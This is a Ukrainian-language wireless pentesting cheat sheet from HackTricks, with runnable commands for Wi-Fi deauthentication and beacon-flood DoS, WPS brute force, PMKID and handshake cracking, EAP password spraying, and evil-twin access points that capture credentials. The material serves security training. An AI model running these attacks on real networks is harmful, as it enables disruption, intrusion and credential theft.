Pentesting Wifi

Вивчайте хакінг AWS від нуля до героя з htARTE (HackTricks AWS Red Team Expert)!

Інші способи підтримки HackTricks:

Приєднуйтесь до HackenProof Discord сервера, щоб спілкуватися з досвідченими хакерами та мисливцями за вразливостями!

Інсайти щодо хакінгу Взаємодійте з контентом, який досліджує захоплення та виклики хакінгу

Новини про хакінг у реальному часі Будьте в курсі швидкозмінного світу хакінгу завдяки новинам та інсайтам у реальному часі

Останні оголошення Будьте в курсі найновіших запусків баг-баунті та важливих оновлень платформи

Приєднуйтесь до нас на Discord та почніть співпрацювати з найкращими хакерами вже сьогодні!

Базові команди Wifi

ip link show #List available interfaces
iwconfig #List available interfaces
airmon-ng check kill #Kill annoying processes
airmon-ng start wlan0 #Monitor mode
airmon-ng stop wlan0mon #Managed mode
airodump-ng wlan0mon #Scan (default 2.4Ghz)
airodump-ng wlan0mon --band a #Scan 5Ghz
airodump-ng wlan0mon --wps #Scan WPS
iwconfig wlan0 mode monitor #Put in mode monitor
iwconfig wlan0mon mode managed #Quit mode monitor - managed mode
iw dev wlan0 scan | grep "^BSS\|SSID\|WSP\|Authentication\|WPS\|WPA" #Scan available wifis
iwlist wlan0 scan #Scan available wifis

Інструменти

EAPHammer

git clone https://github.com/s0lst1c3/eaphammer.git
./kali-setup

Airgeddon

Airgeddon - це все-в-одному інструмент для атак на бездротові мережі.

mv `which dhcpd` `which dhcpd`.old
apt install isc-dhcp-server
apt-get install sslstrip asleap bettercap mdk4 hostapd beef-xss lighttpd dsniff hostapd-wpe

Запустіть airgeddon за допомогою docker

docker run \
--rm \
-ti \
--name airgeddon \
--net=host \
--privileged \
-p 3000:3000 \
-v /tmp:/io \
-e DISPLAY=$(env | grep DISPLAY | awk -F "=" '{print $2}') \
v1s1t0r1sh3r3/airgeddon

Здатний виконувати атаки Evil Twin, KARMA та відомі атаки маяків, а потім використовувати шаблон для рибальства, щоб отримати реальний пароль мережі або захопити облікові дані соціальних мереж.

git clone https://github.com/wifiphisher/wifiphisher.git # Download the latest revision
cd wifiphisher # Switch to tool's directory
sudo python setup.py install # Install any dependencies

Цей інструмент автоматизує атаки WPS/WEP/WPA-PSK. Він автоматично:

  • Встановлює інтерфейс у режим монітора

  • Сканує можливі мережі - І дозволяє вибрати жертву(жертв)

  • Якщо WEP - Запускає атаки WEP

  • Якщо WPA-PSK

  • Якщо WPS: атака Pixie dust та атака брутфорсу (будьте обережні, атака брутфорсу може зайняти багато часу). Зверніть увагу, що вона не спробує нульовий PIN або базу/згенеровані PIN-коди.

  • Спробує захопити PMKID від AP для його зламу

  • Спробує деаутентифікувати клієнтів AP для захоплення рукостискання

  • Якщо PMKID або рукостискання, спробує зламати за допомогою топ-5000 паролів.

Підсумок атак

  • DoS

  • Пакети деаутентифікації/відключення - Відключити всіх (або певний ESSID/клієнт)

  • Випадкові фейкові AP - Приховати мережі, можливий збій сканерів

  • Перевантаження AP - Спроба вимкнути AP (зазвичай не дуже корисно)

  • WIDS - Гра з IDS

  • TKIP, EAPOL - Деякі конкретні атаки для DoS деяких AP

  • Злам

  • Злам WEP (кілька інструментів та методів)

  • WPA-PSK

  • WPS pin "Брут-форс"

  • WPA PMKID брутфорс

  • [DoS +] Захоплення WPA рукостискання + Злам

  • WPA-MGT

  • Захоплення імені користувача

  • Брутфорс Облікові дані

  • Зловмисний близнюк (з або без DoS)

  • Відкритий Зловмисний близнюк [+ DoS] -- Корисно для захоплення даних авторизації порталу та/або виконання атак LAN

  • WPA-PSK Зловмисний близнюк -- Корисно для мережевих атак, якщо ви знаєте пароль

  • WPA-MGT -- Корисно для захоплення корпоративних облікових даних

  • KARMA, MANA, Loud MANA, Відомий маяк

  • + Відкритий -- Корисно для захоплення даних авторизації порталу та/або виконання атак LAN

  • + WPA -- Корисно для захоплення WPA рукостискань

DOS

Пакети деаутентифікації

Опис з тут:.

Атаки деаутентифікації, поширений метод в хакінгу Wi-Fi, включають підробку "керуючих" фреймів для примусового відключення пристроїв від мережі. Ці незашифровані пакети вводять клієнтів в оману, змушуючи їх вважати, що вони походять від легітимної мережі, що дозволяє зловмисникам збирати рукостискання WPA для зламу або постійно перешкоджати мережевим підключенням. Цей тактика, яка вражає своєю простотою, широко використовується і має значні наслідки для безпеки мережі.

Деаутентифікація за допомогою Aireplay-ng

aireplay-ng -0 0 -a 00:14:6C:7E:40:80 -c 00:0F:B5:34:30:30 ath0
  • -0 означає деаутентифікацію

  • 1 - це кількість деаутентифікацій для відправлення (можна відправити кілька, якщо потрібно); 0 означає відправляти їх безперервно

  • -a 00:14:6C:7E:40:80 - це MAC-адреса точки доступу

  • -c 00:0F:B5:34:30:30 - це MAC-адреса клієнта для деаутентифікації; якщо це відсутнє, тоді відправляється розповсюджена деаутентифікація (не завжди працює)

  • ath0 - це назва інтерфейсу

Пакети роз'єднання

Пакети роз'єднання, схожі на пакети деаутентифікації, є типом керуючого кадру, що використовується в бездротових мережах Wi-Fi. Ці пакети служать для розриву зв'язку між пристроєм (таким як ноутбук або смартфон) та точкою доступу (AP). Основна відмінність між роз'єднанням та деаутентифікацією полягає в їх сценаріях використання. Хоча AP видає **пакети деаутентифікації, щоб явно видалити рогаті пристрої з мережі, пакети роз'єднання зазвичай відправляються, коли AP переживає вимкнення, перезавантаження або переміщення, що вимагає відключення всіх підключених вузлів.

Цей тип атаки можна виконати за допомогою mdk4 (режим "d"):

# -c <channel>
# -b victim_client_mac.txt contains the MAC address of the device to eliminate
# -e WifiName is the name of the wifi
# -B BSSID is the BSSID of the AP
# Notice that these and other parameters aare optional, you could give onli the ESSID and md4k will automatically search for it, wait for finding clients and deauthenticate them
mdk4 wlan0mon d -c 5 -b victim_client_mac.txt -E WifiName -B EF:60:69:D7:69:2F

Більше атак DOS від mdk4

Тут тут.

РЕЖИМ АТАКИ b: Затоплення маяками

Надсилає маячні фрейми, щоб показати клієнтам фальшиві точки доступу. Це іноді може призвести до збоїв в мережевих сканерах або навіть драйверах!

# -a Use also non-printable caracters in generated SSIDs and create SSIDs that break the 32-byte limit
# -w n (create Open) t (Create WPA/TKIP) a (Create WPA2/AES)
# -m use real BSSIDS
# All the parameters are optional and you could load ESSIDs from a file
mdk4 wlan0mon b -a -w nta -m

РЕЖИМ АТАКИ a: Відмова в аутентифікації обслуговування

Надсилання фреймів аутентифікації до всіх доступних точок доступу (AP) в зоні дії може перевантажити ці AP, особливо коли в цьому беруть участь численні клієнти. Цей інтенсивний трафік може призвести до нестабільності системи, що призведе до замерзання деяких AP або навіть їх скидання.

# -a BSSID send random data from random clients to try the DoS
# -i BSSID capture and repeat pakets from authenticated clients
# -m use real MACs
# only -a or -i can be used
mdk4 wlan0mon a [-i EF:60:69:D7:69:2F] [-a EF:60:69:D7:69:2F] -m

РЕЖИМ АТАКИ p: Пошук та перебор SSID

Перевірка доступу до точок доступу (AP) дозволяє визначити, чи правильно відображається SSID і підтверджує діапазон AP. Ця техніка, спільно з перебором схованих SSID з або без словника, допомагає в ідентифікації та доступі до схованих мереж.

РЕЖИМ АТАКИ m: Використання протидій Майклу

Надсилання випадкових або дубльованих пакетів до різних черг обробки якості обслуговування може спричинити виклик протидій Майклу на AP з TKIP, що призведе до вимкнення AP на одну хвилину. Цей метод є ефективною тактикою атаки DoS (Відмова в обслуговуванні).

# -t <BSSID> of a TKIP AP
# -j use inteligent replay to create the DoS
mdk4 wlan0mon m -t EF:60:69:D7:69:2F [-j]

РЕЖИМ АТАКИ e: Впливання пакетів EAPOL Start та Logoff

Затоплення точки доступу (AP) кадрами EAPOL Start створює фіктивні сесії, перевантажуючи AP та блокуючи законних клієнтів. Як альтернативу, впровадження фальшивих повідомлень EAPOL Logoff примусово відключає клієнтів, обидва методи ефективно перешкоджають роботі мережі.

# Use Logoff messages to kick clients
mdk4 wlan0mon e -t EF:60:69:D7:69:2F [-l]

РЕЖИМ АТАКИ s: Атаки на мережі сітки IEEE 802.11s

Різноманітні атаки на керування посиланнями та маршрутизацію в мережах сітки.

РЕЖИМ АТАКИ w: Переплутування WIDS

Перехрещування клієнтів з кількома вузлами WDS або фальшивими роговими точками доступу може маніпулювати системами виявлення та запобігання вторгнень, створюючи плутанину та потенційне зловживання системою.

# -z activate Zero_Chaos' WIDS exploit (authenticates clients from a WDS to foreign APs to make WIDS go nuts)
mkd4 -e <SSID> -c <channel> [-z]

РЕЖИМ АТАКИ f: Packet Fuzzer

Пакетний фазер, який має різноманітні джерела пакетів та широкий набір модифікаторів для маніпулювання пакетами.

Airggedon

Airgeddon пропонує більшість атак, запропонованих у попередніх коментарях:

WPS

WPS (Wi-Fi Protected Setup) спрощує процес підключення пристроїв до маршрутизатора, підвищуючи швидкість налаштування та зручність для мереж, зашифрованих за допомогою WPA або WPA2 Personal. Він неефективний для легко компрометованої безпеки WEP. WPS використовує 8-значний PIN-код, який перевіряється на дві половини, що робить його вразливим до атак перебору через обмежену кількість комбінацій (11 000 можливостей).

WPS Bruteforce

Є 2 основні інструменти для виконання цієї дії: Reaver та Bully.

  • Reaver був розроблений для ефективної та практичної атаки на WPS і був протестований на великому різноманітті точок доступу та реалізацій WPS.

  • Bully - це нова реалізація атаки перебору WPS, написана на мові програмування C. Він має кілька переваг перед оригінальним кодом reaver: менше залежностей, покращена пам'ять та продуктивність ЦП, правильна обробка порядку байтів та більш надійний набір параметрів.

Атака використовує вразливість WPS PIN-коду, зокрема його викриття перших чотирьох цифр та роль останньої цифри як контрольної суми, що спрощує атаку перебором. Однак захист від атак перебору, такий як блокування MAC-адрес агресивних атакувальників, вимагає зміни MAC-адрес для продовження атаки.

Після отримання WPS PIN за допомогою інструментів, таких як Bully або Reaver, зловмисник може вивести WPA/WPA2 PSK, забезпечуючи постійний доступ до мережі.

reaver -i wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -b -f -N [-L -d 2] -vvroot
bully wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -S -F -B -v 3

Смарт-брутфорс

Цей вдосконалений підхід спрямований на отримання WPS PIN за допомогою відомих вразливостей:

  1. Попередньо відомі PIN-коди: Використовуйте базу даних відомих PIN-кодів, пов'язаних з конкретними виробниками, відомими з використанням однорідних WPS PIN-кодів. Ця база даних корелює перші три октети MAC-адрес з ймовірними PIN-кодами для цих виробників.

  2. Алгоритми генерації PIN-кодів: Використовуйте алгоритми, такі як ComputePIN та EasyBox, які обчислюють WPS PIN-коди на основі MAC-адреси AP. Алгоритм Arcadyan додатково потребує ідентифікатор пристрою, додаючи шар до процесу генерації PIN-коду.

Атака WPS Pixie Dust

Домінік Бонгард виявив уразливість деяких точок доступу (AP), що стосується створення секретних кодів, відомих як nonce (E-S1 та E-S2). Якщо ці nonce можна визначити, взламати WPS PIN точки доступу стає легким завданням. Точка доступу розкриває PIN-код у спеціальному коді (хеш), щоб довести, що він є законним і не є фальшивим (рогатим) AP. Ці nonce суттєво є "ключами" до розблокування "сейфу", який містить WPS PIN. Додаткову інформацію можна знайти тут.

Простими словами, проблема полягає в тому, що деякі точки доступу не використовували достатньо випадкові ключі для шифрування PIN-коду під час процесу підключення. Це робить PIN-код вразливим до вгадування ззовні мережі (атака брутфорсом офлайн).

reaver -i wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -K 1 -N -vv
bully  wlan1mon -b 00:C0:CA:78:B1:37 -d -v 3

Якщо ви не хочете перемикати пристрій у режим монітора, або reaver та bully мають певні проблеми, ви можете спробувати OneShot-C. Цей інструмент може виконувати атаку Pixie Dust без необхідності перемикатися в режим монітора.

./oneshot -i wlan0 -K -b 00:C0:CA:78:B1:37

Атака Null Pin

Деякі погано спроектовані системи навіть дозволяють Null PIN (порожній або неіснуючий PIN) надавати доступ, що досить незвичайно. Інструмент Reaver може перевірити цю вразливість, на відміну від Bully.

reaver -i wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -f -N -g 1 -vv -p ''

Airgeddon

Усі запропоновані атаки WPS можна легко виконати за допомогою airgeddon.

  • 5 та 6 дозволяють вам спробувати ваш власний PIN (якщо у вас є)

  • 7 та 8 виконують атаку Pixie Dust

  • 13 дозволяє вам перевірити NULL PIN

  • 11 та 12 знову зберуть PIN-коди, пов'язані з обраним AP з наявних баз даних та згенерують можливі PIN-коди за допомогою: ComputePIN, EasyBox та за потреби Arcadyan (рекомендовано, чому б і ні?)

  • 9 та 10 протестують кожний можливий PIN

WEP

Такий ламаний та не використовуваний в наш час. Просто знайте, що airgeddon має опцію WEP під назвою "All-in-One" для атаки цього типу захисту. Більше інструментів пропонують схожі опції.


Приєднуйтесь до HackenProof Discord, щоб спілкуватися з досвідченими хакерами та мисливцями за багами!

Інсайти щодо Хакінгу Взаємодійте з контентом, який досліджує захоплення та виклики хакінгу

Новини про Хакінг у Реальному Часі Будьте в курсі швидкозмінного світу хакінгу завдяки новинам та інсайтам у реальному часі

Останні Оголошення Будьте в курсі найновіших баг-баунті, які запускаються, та важливих оновлень платформи

Приєднуйтесь до нас на Discord та почніть співпрацювати з найкращими хакерами вже сьогодні!


WPA/WPA2 PSK

PMKID

У 2018 році hashcat розкрив новий метод атаки, унікальний тим, що він потребує лише одного пакету і не потребує підключених клієнтів до цільової AP — лише взаємодія між атакуючим та AP.

Багато сучасних маршрутизаторів додають додаткове поле до першого кадру EAPOL під час асоціації, відоме як Robust Security Network. Це включає PMKID.

Як пояснює оригінальний пост, PMKID створюється за допомогою відомих даних:

PMKID = HMAC-SHA1-128(PMK, "PMK Name" | MAC_AP | MAC_STA)

Дано, що "PMK Name" постійний, ми знаємо BSSID точки доступу та станції, і PMK ідентичний тому, що відображений в повному 4-хвилинному рукостисканні, hashcat може використовувати цю інформацію для взлому PSK та відновлення паролю!

Для збору цієї інформації та брутфорсу локально пароля ви можете виконати:

airmon-ng check kill
airmon-ng start wlan0
git clone https://github.com/ZerBea/hcxdumptool.git; cd hcxdumptool; make; make install
hcxdumptool -o /tmp/attack.pcap -i wlan0mon --enable_status=1
#You can also obtains PMKIDs using eaphammer
./eaphammer --pmkid --interface wlan0 --channel 11 --bssid 70:4C:A5:F8:9A:C1

PMKIDs, які були захоплені, будуть показані в консолі і також збережені у файлі _/tmp/attack.pcap_ Тепер конвертуйте захоплення у формат hashcat/john і розшифруйте його:

hcxtools/hcxpcaptool -z hashes.txt /tmp/attack.pcapng
hashcat -m 16800 --force hashes.txt /usr/share/wordlists/rockyou.txt
john hashes.txt --wordlist=/usr/share/wordlists/rockyou.txt

Будь ласка, зверніть увагу, що правильний формат хеша містить 4 частини, наприклад: 4017733ca8db33a1479196c2415173beb808d7b83cfaa4a6a9a5aae7566f6461666f6e65436f6e6e6563743034383131343838 Якщо ваш хеш містить лише 3 частини, то він є недійсним (захоплення PMKID не було валідним).

Зверніть увагу, що hcxdumptool також захоплює рукостискання (щось на зразок цього з'явиться: MP:M1M2 RC:63258 EAPOLTIME:17091). Ви можете перетворити рукостискання у формат hashcat/john за допомогою cap2hccapx

tcpdump -r /tmp/attack.pcapng -w /tmp/att.pcap
cap2hccapx pmkid.pcapng pmkid.hccapx ["Filter_ESSID"]
hccap2john pmkid.hccapx > handshake.john
john handshake.john --wordlist=/usr/share/wordlists/rockyou.txt
aircrack-ng /tmp/att.pcap -w /usr/share/wordlists/rockyou.txt #Sometimes

Я помітив, що деякі рукостискання, зібрані цим інструментом, не можуть бути розшифровані навіть за наявності правильного пароля. Я рекомендую також захоплювати рукостискання традиційним способом, якщо це можливо, або захоплювати кілька з них за допомогою цього інструменту.

Захоплення рукостискання

Атака на мережі WPA/WPA2 може бути виконана шляхом захоплення рукостискання та спроби розшифрування пароля офлайн. Цей процес включає в себе моніторинг комунікації конкретної мережі та BSSID на певному каналі. Ось спрощений посібник:

  1. Визначте BSSID, канал та підключений клієнт цільової мережі.

  2. Використовуйте airodump-ng, щоб моніторити мережевий трафік на вказаному каналі та BSSID, сподіваючись захопити рукостискання. Команда буде виглядати наступним чином:

airodump-ng wlan0 -c 6 --bssid 64:20:9F:15:4F:D7 -w /tmp/psk --output-format pcap
  1. Для збільшення шансів захоплення handshake, тимчасово відключіть клієнта від мережі, щоб змусити повторну аутентифікацію. Це можна зробити за допомогою команди aireplay-ng, яка відправляє пакети деаутентифікації клієнту:

aireplay-ng -0 0 -a 64:20:9F:15:4F:D7 wlan0 #Send generic deauth packets, may not work in all scenarios

Зауважте, що після деаутентифікації клієнт може спробувати підключитися до іншої точки доступу або, у інших випадках, до іншої мережі.

Як тільки в airodump-ng з'явиться інформація про рукостискання, це означатиме, що рукостискання було захоплено, і ви можете припинити прослуховування:

Після захоплення рукостискання ви можете розшифрувати його за допомогою aircrack-ng:

aircrack-ng -w /usr/share/wordlists/rockyou.txt -b 64:20:9F:15:4F:D7 /tmp/psk*.cap

Перевірте, чи є handshake в файлі

aircrack

aircrack-ng psk-01.cap #Search your bssid/essid and check if any handshake was capture

tshark

tshark -r psk-01.cap -n -Y eapol #Filter handshake messages #You should have the 4 messages.

cowpatty

cowpatty -r psk-01.cap -s "ESSID" -f -

Якщо цей інструмент знаходить незавершений handshake ESSID перед завершеним, він не виявить дійсний.

pyrit

apt-get install pyrit #Not working for newer versions of kali
pyrit -r psk-01.cap analyze

WPA Enterprise (MGT)

У підприємницьких налаштуваннях WiFi ви зіткнетеся з різними методами аутентифікації, кожен з яких забезпечує різні рівні безпеки та функції управління. Коли ви використовуєте інструменти, такі як airodump-ng, для інспектування мережевого трафіку, ви можете помітити ідентифікатори цих типів аутентифікації. Деякі загальні методи включають:

6A:FE:3B:73:18:FB  -58       19        0    0   1  195  WPA2 CCMP   MGT  NameOfMyWifi
  1. EAP-GTC (Загальна картка токенів):

  • Цей метод підтримує апаратні токени та одноразові паролі в межах EAP-PEAP. На відміну від MSCHAPv2, він не використовує виклик рівнів та надсилає паролі у відкритому вигляді до точки доступу, що створює ризик для атак на зниження рівня.

  1. EAP-MD5 (Повідомлення Digest 5):

  • Передбачає надсилання хешу MD5 пароля від клієнта. Це не рекомендується через вразливість до словникових атак, відсутність аутентифікації сервера та неможливість генерації сеансових ключів WEP.

  1. EAP-TLS (Транспортний рівень безпеки):

  • Використовується як клієнтські, так і серверні сертифікати для аутентифікації та може динамічно генерувати користувацькі та сеансові ключі WEP для захисту комунікацій.

  1. EAP-TTLS (Зашифрований тунельний транспортний рівень безпеки):

  • Забезпечує взаємну аутентифікацію через зашифрований тунель, разом з методом похідного динамічного, користувача, сеансу, ключів WEP. Вимагає лише серверні сертифікати, з клієнтами, які використовують облікові дані.

  1. PEAP (Захищений протокол розширеної аутентифікації):

  • Функціонує подібно до EAP, створюючи TLS-тунель для захищеної комунікації. Це дозволяє використання слабших протоколів аутентифікації поверх EAP через захист, що надається тунеллю.

  • PEAP-MSCHAPv2: Часто називається PEAP, поєднує вразливий механізм виклику/відповіді MSCHAPv2 з захисним TLS-тунелем.

  • PEAP-EAP-TLS (або PEAP-TLS): Схожий на EAP-TLS, але ініціює TLS-тунель перед обміном сертифікатами, пропонуючи додатковий рівень безпеки.

Ви можете знайти більше інформації про ці методи аутентифікації тут та тут.

Захоплення імен користувачів

Читаючи https://tools.ietf.org/html/rfc3748#page-27, здається, що якщо ви використовуєте EAP, "Identity" повідомлення повинні бути підтримані, і ім'я користувача буде відправлено відкрито в "Response Identity" повідомленнях.

Навіть використовуючи один з найбільш безпечних методів аутентифікації: PEAP-EAP-TLS, можливо захопити ім'я користувача, відправлене в протоколі EAP. Для цього захопіть комунікацію аутентифікації (запустіть airodump-ng на каналі та wireshark на тій же інтерфейсі) та відфільтруйте пакети за допомогою eapol. У пакеті "Response, Identity" з'явиться ім'я користувача клієнта.

Анонімні ідентифікатори

Приховування ідентичності підтримується як EAP-PEAP, так і EAP-TTLS. У контексті бездротової мережі WiFi запит EAP-Identity зазвичай ініціюється точкою доступу (AP) під час процесу асоціації. Для забезпечення захисту анонімності користувача відповідь від клієнта EAP на пристрої користувача містить лише необхідну інформацію для початкового сервера RADIUS для обробки запиту. Ця концепція ілюструється через наступні сценарії:

  • EAP-Identity = анонімний

  • У цьому сценарії всі користувачі використовують псевдонім "анонімний" як свій ідентифікатор користувача. Початковий сервер RADIUS діє як сервер EAP-PEAP або EAP-TTLS, відповідальний за управлінням серверної частини протоколу PEAP або TTLS. Внутрішній (захищений) метод аутентифікації обробляється локально або делегується до віддаленого (домашнього) сервера RADIUS.

У EAP-PEAP, після встановлення TLS-тунелю між сервером PEAP та клієнтом PEAP, сервер PEAP ініціює запит EAP-Identity та передає його через TLS-тунель. Клієнт відповідає на цей другий запит EAP-Identity, надсилаючи відповідь EAP-Identity, що містить справжню ідентичність користувача через зашифрований тунель. Цей підхід ефективно запобігає розкриттю справжньої ідентичності користувача будь-кому, хто прослуховує 802.11 трафік.

EAP-TTLS слідує трохи іншій процедурі. З EAP-TTLS клієнт зазвичай аутентифікується за допомогою PAP або CHAP, захищеного TLS-тунеллю. У цьому випадку клієнт включає атрибут User-Name та або атрибут Password, або CHAP-Password в початкове TLS-повідомлення, відправлене після встановлення тунелю.

Незалежно від обраного протоколу, сервер PEAP/TTLS отримує інформацію про справжню ідентичність користувача після встановлення TLS-тунелю. Справжня ідентичність може бути представлена як user@realm або просто user. Якщо сервер PEAP/TTLS також відповідальний за аутентифікацію користувача, він тепер володіє ідентичністю користувача та продовжує з методом аутентифікації, захищеним TLS-тунеллю. Альтернативно, сервер PEAP/TTLS може переслати новий запит RADIUS на домашній сервер RADIUS користувача. Цей новий запит RADIUS не містить шару протоколу PEAP або TTLS. У випадках, коли захищений метод аутентифікації - EAP, внутрішні повідомлення EAP передаються на домашній сервер RADIUS без обгортки EAP-PEAP або EAP-TTLS. Атрибут User-Name вихідного RADIUS-повідомлення містить справжню ідентичність користувача, замінюючи анонімний User-Name з вхідного запиту RADIUS. Коли захищений метод аутентифікації - PAP або CHAP (підтримується лише TTLS), атрибути User-Name та інші атрибути аутентифікації, витягнуті з навантаження TLS, замінюються вихідним RADIUS-повідомленням, заміщаючи анонімний User-Name та атрибути TTLS EAP-Message, знайдені в вхідному запиті RADIUS.

Для отримання додаткової інформації перевірте https://www.interlinknetworks.com/app_notes/eap-peap.htm

EAP-Bruteforce (парольний спрей)

Якщо від клієнта очікується використання імені користувача та пароля (зверніть увагу, що EAP-TLS не буде дійсним в цьому випадку), то ви можете спробувати отримати список імен користувачів (див. наступну частину) та паролі та спробувати парольний спрей доступу за допомогою air-hammer.

./air-hammer.py -i wlan0 -e Test-Network -P UserPassword1 -u usernames.txt

Ви також можете виконати цей атаку, використовуючи eaphammer:

./eaphammer --eap-spray \
--interface-pool wlan0 wlan1 wlan2 wlan3 wlan4 \
--essid example-wifi \
--password bananas \
--user-list users.txt

Теорія атак на клієнтів

Вибір мережі та роумінг

  • Протокол 802.11 визначає, як станція приєднується до розширеного набору послуг (ESS), але не вказує критерії вибору ESS або точки доступу (AP) всередині нього.

  • Станції можуть переміщатися між AP, які ділять однаковий ESSID, забезпечуючи зв'язок по всій будівлі або території.

  • Протокол вимагає аутентифікації станції до ESS, але не вимагає аутентифікації AP до станції.

Списки перевагованих мереж (PNL)

  • Станції зберігають ESSID кожної бездротової мережі, до якої вони підключаються, у своєму списку перевагованих мереж (PNL), разом з деталями конфігурації, специфічними для мережі.

  • PNL використовується для автоматичного підключення до відомих мереж, поліпшуючи досвід користувача шляхом оптимізації процесу підключення.

Пасивне сканування

  • AP періодично транслюють рамки маяка, оголошуючи свою присутність та функції, включаючи ESSID AP, якщо трансляція відключена.

  • Під час пасивного сканування станції слухають рамки маяка. Якщо ESSID маяка відповідає запису в PNL станції, станція може автоматично підключитися до цього AP.

  • Знання PNL пристрою дозволяє потенційно використовувати його шляхом імітації ESSID відомої мережі, обманюючи пристрій на підключення до підробленого AP.

Активне зондування

  • Активне зондування включає відправку станціями запитів-зондів для виявлення навколишніх AP та їх характеристик.

  • Направлені запити-зонди спрямовані на конкретний ESSID, допомагаючи виявити, чи є певна мережа в зоні дії, навіть якщо це схована мережа.

  • Радіопошукові запити-зонди мають поле нульового SSID і відправляються до всіх навколишніх AP, дозволяючи станції перевірити будь-яку переваговану мережу, не розголошуючи вмісту свого PNL.

Простий AP з перенаправленням на Інтернет

Перед поясненням, як виконувати більш складні атаки, буде пояснено як просто створити AP та перенаправити його трафік на інтерфейс, підключений до Інтернету.

Використовуючи ifconfig -a, перевірте, що інтерфейс wlan для створення AP та інтерфейс, підключений до Інтернету, присутні.

DHCP та DNS

apt-get install dnsmasq #Manages DHCP and DNS

Створіть конфігураційний файл /etc/dnsmasq.conf:

interface=wlan0
dhcp-authoritative
dhcp-range=192.168.1.2,192.168.1.30,255.255.255.0,12h
dhcp-option=3,192.168.1.1
dhcp-option=6,192.168.1.1
server=8.8.8.8
log-queries
log-dhcp
listen-address=127.0.0.1

Потім встановіть IP-адреси та маршрути:

ifconfig wlan0 up 192.168.1.1 netmask 255.255.255.0
route add -net 192.168.1.0 netmask 255.255.255.0 gw 192.168.1.1

І потім запустіть dnsmasq:

dnsmasq -C dnsmasq.conf -d

hostapd

apt-get install hostapd

Створіть конфігураційний файл hostapd.conf:

interface=wlan0
driver=nl80211
ssid=MITIWIFI
hw_mode=g
channel=11
macaddr_acl=0
ignore_broadcast_ssid=0
auth_algs=1
wpa=2
wpa_passphrase=mitmwifi123
wpa_key_mgmt=WPA-PSK
wpa_pairwise=CCMP
wpa_group_rekey=86400
ieee80211n=1
wme_enabled=1

Зупиніть надокучливі процеси, встановіть режим моніторингу та запустіть hostapd:

airmon-ng check kill
iwconfig wlan0 mode monitor
ifconfig wlan0 up
hostapd ./hostapd.conf

Перенаправлення та перенаправлення

iptables --table nat --append POSTROUTING --out-interface eth0 -j MASQUERADE
iptables --append FORWARD --in-interface wlan0 -j ACCEPT
echo 1 > /proc/sys/net/ipv4/ip_forward

Зловісний близнюк

Атака зловісного близнюка використовує спосіб, яким клієнти WiFi визначають мережі, переважно покладаючись на назву мережі (ESSID) без необхідності аутентифікації базової станції (точки доступу) перед клієнтом. Основні моменти включають:

  • Складність розрізнення: Пристрої мають проблеми з відрізненням легітимних та підроблених точок доступу, коли вони мають однаковий ESSID та тип шифрування. У реальних мережах часто використовуються кілька точок доступу з однаковим ESSID для безшовного розширення зони покриття.

  • Роумінг клієнта та маніпулювання підключенням: Протокол 802.11 дозволяє пристроям переміщатися між точками доступу в межах одного ESSID. Атакувальники можуть використовувати це, приманюючи пристрій відключитися від поточної базової станції та підключитися до підробленої. Це можна досягти, пропонуючи сильніший сигнал або перешкоджаючи підключенню до легітимної точки доступу за допомогою методів, таких як пакети деаутентифікації або завади.

  • Виклики в реалізації: Успішне виконання атаки зловісного близнюка в середовищах з кількома добре розміщеними точками доступу може бути складним завданням. Деаутентифікація однієї легітимної точки доступу часто призводить до підключення пристрою до іншої легітимної точки доступу, якщо атакуючий не може деаутентифікувати всі навколишні точки доступу або стратегічно розмістити підроблену точку доступу.

Можна створити дуже простий відкритий зловісний близнюк (без можливості маршрутизації трафіку в Інтернет) за допомогою:

airbase-ng -a 00:09:5B:6F:64:1E --essid "Elroy" -c 1 wlan0mon

Ви також можете створити Злий Близнюк за допомогою eaphammer (зверніть увагу, що для створення злих близнюків за допомогою eaphammer інтерфейс НЕ ПОВИНЕН БУТИ в режимі монітора):

./eaphammer -i wlan0 --essid exampleCorp --captive-portal

Або використовуючи Airgeddon: Опції: 5,6,7,8,9 (в меню атаки Evil Twin).

Будь ласка, зверніть увагу, що за замовчуванням, якщо ESSID у PNL збережено як захищений WPA, пристрій не підключиться автоматично до відкритого зловісного близнюка. Ви можете спробувати DoS реальну AP та сподіватися, що користувач підключиться вручну до вашого відкритого зловісного близнюка, або ви можете DoS реальну AP та використовувати WPA Evil Twin для захоплення рукостискання (використовуючи цей метод, ви не зможете дозволити жертві підключитися до вас, оскільки ви не знаєте PSK, але ви можете захопити рукостискання та спробувати його розшифрувати).

Деякі ОС та Антивіруси попередять користувача, що підключення до відкритої мережі небезпечне...

WPA/WPA2 Evil Twin

Ви можете створити Зловісного близня з використанням WPA/2, і якщо пристрої налаштовані підключатися до цього SSID з WPA/2, вони спробують підключитися. Однак, для завершення 4-хважального рукостискання, вам також потрібно знати пароль, який клієнт буде використовувати. Якщо ви не знаєте його, підключення не буде завершено.

./eaphammer -i wlan0 -e exampleCorp -c 11 --creds --auth wpa-psk --wpa-passphrase "mywifipassword"

Корпоративний Evil Twin

Для розуміння цих атак я рекомендую спочатку прочитати короткий пояснення WPA Enterprise.

Використання hostapd-wpe

hostapd-wpe потребує файл конфігурації, щоб працювати. Для автоматизації генерації цих конфігурацій ви можете використовувати https://github.com/WJDigby/apd_launchpad (завантажте файл python всередині /etc/hostapd-wpe/)

./apd_launchpad.py -t victim -s PrivateSSID -i wlan0 -cn company.com
hostapd-wpe ./victim/victim.conf -s

У файлі конфігурації можна вибрати багато різних речей, таких як ssid, канал, файли користувача, cret/key, параметри dh, версія wpa та auth...

Використання hostapd-wpe з EAP-TLS для дозволу будь-якому сертифікату увійти.

Використання EAPHammer

# Generate Certificates
./eaphammer --cert-wizard

# Launch Attack
./eaphammer -i wlan0 --channel 4 --auth wpa-eap --essid CorpWifi --creds

За замовчуванням EAPHammer використовує такі методи аутентифікації (зверніть увагу на GTC як перший для спроби отримання паролів у відкритому вигляді, а потім використання більш надійних методів аутентифікації):

GTC,MSCHAPV2,TTLS-MSCHAPV2,TTLS,TTLS-CHAP,TTLS-PAP,TTLS-MSCHAP,MD5

Це типова методологія для уникнення довгих часів підключення. Однак ви також можете вказати серверу методи аутентифікації від найслабших до найсильніших:

--negotiate weakest

Або ви також можете використовувати:

  • --negotiate gtc-downgrade для використання високоефективної реалізації зниження GTC (паролі відкритого тексту)

